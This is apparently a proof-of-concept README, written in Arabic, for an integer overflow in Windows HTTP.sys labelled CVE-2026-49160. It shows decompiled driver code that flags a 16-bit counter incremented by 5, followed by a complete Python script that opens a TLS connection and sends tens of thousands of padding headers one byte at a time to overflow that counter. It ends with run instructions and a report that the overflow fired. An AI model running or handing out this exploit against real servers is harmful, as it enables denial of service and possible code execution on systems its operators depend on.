
ثغرة رفض الخدمة في HTTP.sys & ثغرة تنفيذ التعليمات البرمجية عن بُعد في HTTP.sys
ثغرة رفض الخدمة في HTTP.sys
ثغرة تنفيذ التعليمات البرمجية عن بُعد في HTTP.sys
نظرًا لقيود حجم الملفات على GitHub، يتم استضافة فيديوهات العرض التوضيحي لهذا الـ PoC (CVE-2026-49160) كمرفقات في الإصدارات.
الكود المعرض للثغرة:
if ((DAT_0 & 1) != 0) {
local_e8 = *(int **)(piVar16 + 0x10);
local_e0 = (char *)ppuVar3;
WPP_SF_qII(0x408,0x10b,&WPP_35392aa6288d35088b5e7b5e64cc7a3b_Traceguids,piVar16);
}
if (*(ushort *)((longlong)piVar16 + 0x642) < *(ushort *)(piVar16 + 400)) {
LAB_8:
ppuVar1 = ppuVar3 + 4;
*(undefined ***)
(*(longlong *)(piVar16 + 0x192) + (ulonglong)*(ushort *)((longlong)piVar16 + 0x642) * 8
) = ppuVar3;
*(short *)((longlong)piVar16 + 0x642) = *(short *)((longlong)piVar16 + 0x642) + 1;
LOCK();
iVar10 = *(int *)ppuVar1;
*(int *)ppuVar1 = *(int *)ppuVar1 + 1;
UNLOCK();
if ((UxDebugCheckRefcount != '\0') && (iVar10 + 1 < 0)) {
UlBugCheckEx(3,ppuVar1,10,(longlong)(iVar10 + 1));
pcVar4 = (code *)swi(3);
(*pcVar4)();
return;
}
cVar6 = '\x01';
}
else {
local_e8 = (int *)CONCAT44(local_e8._4_4_,1);
_Dst = (void *)ExAllocatePool3(0x42,(ulonglong)*(ushort *)(piVar16 + 400) * 8 + 0x28,
0x52526c55,&UxLowPriorityPool);
if (_Dst != (void *)0x0) {
memmove(_Dst,*(void **)(piVar16 + 0x192),
(ulonglong)*(ushort *)((longlong)piVar16 + 0x642) << 3);
if (1 < *(ushort *)(piVar16 + 400)) {
ExFreePoolWithTag(*(undefined8 *)(piVar16 + 0x192),0);
}
*(short *)(piVar16 + 400) = (short)piVar16[400] + 5; <- unsigned short 16bit
*(void **)(piVar16 + 0x192) = _Dst;
goto LAB_8;
}
}
if ((DAT_0 & 1) != 0) {
WPP_SF_D(0x408,0x10c,&WPP_35392aa6288d35088b5e7b5e64cc7a3b_Traceguids,cVar6);
}
هذا الكود
import socket, ssl, time
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
raw_sock = socket.create_connection(("hello.lab", 443))
s = ctx.wrap_socket(raw_sock, server_hostname="hello.lab")
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
request = b"GET / HTTP/1.1\r\nHost: hello.lab\r\nConnection: keep-alive\r\n"
for i in range(0xFFFF+2):
request += f"X-Pad-{i}: value{i}\r\n".encode()
request += b"\r\n"
for b in request:
s.send(bytes([b]))
try:
response = s.recv(4096)
print(response)
except ConnectionResetError as e:
print("Connection reset:", e)
print("Connection held open. Press Ctrl+C to close.")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("Closing.")
s.close()
يزيد قيمة العداد بمقدار +5.
دع البرنامج النصي يعمل لمدة ~30 دقيقة لأن العداد يزيد بمقدار +5 لكل مخزن مؤقت يتم استلامه...
تم تشغيل تجاوز السعة

العداد في مصحح الأخطاء:
